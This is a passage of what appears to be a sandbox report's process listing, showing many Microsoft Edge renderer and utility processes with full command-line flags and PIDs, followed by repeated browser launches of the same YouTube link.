    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=56 --always-read-main-dll --metrics-shmem-handle=11876,i,791091171256238184,15879098218582802871,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=11880 /prefetch:1
    3⤵
    PID:6956
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=57 --always-read-main-dll --metrics-shmem-handle=12048,i,7850109194404182510,5244958062001708562,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=12032 /prefetch:1
    3⤵
    PID:7064
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=58 --always-read-main-dll --metrics-shmem-handle=12220,i,5473852192445771043,4505652329041995672,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=12192 /prefetch:1
    3⤵
    PID:6988
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=59 --always-read-main-dll --metrics-shmem-handle=12336,i,17967755282306196414,4723434731193747841,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=12356 /prefetch:1
    3⤵
    PID:3968
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=60 --always-read-main-dll --metrics-shmem-handle=10316,i,11986180450623401098,13576670628664850054,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=12496 /prefetch:1
    3⤵
    PID:2356
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=61 --always-read-main-dll --metrics-shmem-handle=9688,i,11965008760692522349,7815816986974736210,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=11416 /prefetch:1
    3⤵
    PID:3288
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=62 --always-read-main-dll --metrics-shmem-handle=9588,i,17823170273821535625,12921406799909669331,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=11208 /prefetch:1
    3⤵
    PID:2996
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=63 --always-read-main-dll --metrics-shmem-handle=7492,i,4629739987933973039,1085986770209455318,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=13192 /prefetch:1
    3⤵
    PID:4416
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=9724,i,12967541349705192116,1332995459978809764,524288 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=9920 /prefetch:8
    3⤵
    PID:6516
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=65 --always-read-main-dll --metrics-shmem-handle=9884,i,15760347275335033132,17109751819629004191,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=9760 /prefetch:1
    3⤵
    PID:7020
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=9724,i,12967541349705192116,1332995459978809764,524288 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=9920 /prefetch:8
    3⤵
    PID:6996
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=66 --always-read-main-dll --metrics-shmem-handle=10148,i,18106189824890769210,15811776265879026635,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=6520 /prefetch:1
    3⤵
    PID:6172
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=67 --always-read-main-dll --metrics-shmem-handle=10108,i,3682733378602500708,9864749640888861627,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=10076 /prefetch:1
    3⤵
    PID:6440
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=68 --always-read-main-dll --metrics-shmem-handle=13420,i,13318416044026219618,16994324695430483935,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=13440 /prefetch:1
    3⤵
    PID:6836
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=69 --always-read-main-dll --metrics-shmem-handle=13584,i,2253582121362197394,13115231443319606949,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=13608 /prefetch:1
    3⤵
    PID:7212
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=70 --always-read-main-dll --metrics-shmem-handle=13760,i,12346095724321971234,7876255532906828059,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=13772 /prefetch:1
    3⤵
    PID:7232
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=71 --always-read-main-dll --metrics-shmem-handle=13984,i,9505749152466478002,64190261899386894,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=14000 /prefetch:1
    3⤵
    PID:7324
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=72 --always-read-main-dll --metrics-shmem-handle=14444,i,2674132644071323038,16654964262091121508,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=14460 /prefetch:1
    3⤵
    PID:7364
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=73 --always-read-main-dll --metrics-shmem-handle=14616,i,14972316083322929672,17765578804589995979,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=10912 /prefetch:1
    3⤵
    PID:7436
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=74 --always-read-main-dll --metrics-shmem-handle=14756,i,18405640634472967490,14058109440043798319,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=14752 /prefetch:1
    3⤵
    PID:7624
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=75 --always-read-main-dll --metrics-shmem-handle=14956,i,5927116735306228596,11275212677049570461,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=14972 /prefetch:1
    3⤵
    PID:7716
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=76 --always-read-main-dll --metrics-shmem-handle=3008,i,8143142722182001853,2902659058685559383,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=8000 /prefetch:1
    3⤵
    PID:7780
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=77 --always-read-main-dll --metrics-shmem-handle=11424,i,14736807608730369215,4501866451749637110,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=3284 /prefetch:1
    3⤵
    PID:7820
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=78 --always-read-main-dll --metrics-shmem-handle=12316,i,1955548822521276582,13035908312732760998,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=15352 /prefetch:1
    3⤵
    PID:7848
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=79 --always-read-main-dll --metrics-shmem-handle=15492,i,16797067458107919912,6150525890885791782,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=14904 /prefetch:1
    3⤵
    PID:7968
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=80 --always-read-main-dll --metrics-shmem-handle=14476,i,12954667381747181380,4838329557413518728,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=9872 /prefetch:1
    3⤵
    PID:7300
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=81 --always-read-main-dll --metrics-shmem-handle=9668,i,7917576543726534207,7938155120056095064,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=15920 /prefetch:1
    3⤵
    PID:2368
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=82 --always-read-main-dll --metrics-shmem-handle=15884,i,3639882709530502666,15496217099983454303,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=16088 /prefetch:1
    3⤵
    PID:3376
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=83 --always-read-main-dll --metrics-shmem-handle=9976,i,13725039106034964641,18161086367614898980,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=10944 /prefetch:1
    3⤵
    PID:8792
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=84 --always-read-main-dll --metrics-shmem-handle=11388,i,13924338988266940284,17074857094061973602,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=4844 /prefetch:1
    3⤵
    PID:8900
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=85 --always-read-main-dll --metrics-shmem-handle=10272,i,2814909088723806113,3094000076694794181,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=12668 /prefetch:1
    3⤵
    PID:8976
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=14068,i,10019253382377007359,17965819773333921608,262144 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=14080 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:9088
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=16116,i,15607402106510213970,4421801757184059320,524288 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=16144 /prefetch:8
    3⤵
    PID:8260
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=88 --always-read-main-dll --metrics-shmem-handle=16620,i,12401728284391871755,13328585030559991202,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=16624 /prefetch:1
    3⤵
    PID:8476
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=89 --always-read-main-dll --metrics-shmem-handle=14088,i,10302292518829098741,13760352082553638023,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=16744 /prefetch:1
    3⤵
    PID:8388
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=90 --always-read-main-dll --metrics-shmem-handle=16872,i,4325846515107928994,1182984035069640331,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=16896 /prefetch:1
    3⤵
    PID:8608
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=91 --always-read-main-dll --metrics-shmem-handle=16628,i,8404535482716424429,3333220442449757349,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=11040 /prefetch:1
    3⤵
    PID:7536
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=92 --always-read-main-dll --metrics-shmem-handle=9736,i,17596612875546721012,14561356463958635491,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=17192 /prefetch:1
    3⤵
    PID:7032
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=93 --always-read-main-dll --metrics-shmem-handle=16284,i,13440995697946865223,10262460960434815329,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=17188 /prefetch:1
    3⤵
    PID:8720
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=94 --always-read-main-dll --metrics-shmem-handle=17504,i,11993024438271481989,12721238645600284759,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=17512 /prefetch:1
    3⤵
    PID:7012
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:4280
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:4952
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:5232
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:3992
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:5644
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:1032
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:5004
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6136
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:4164
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6264
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:4268
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:5284
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:4108
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:5004
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:5796
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:2276
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:8348
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
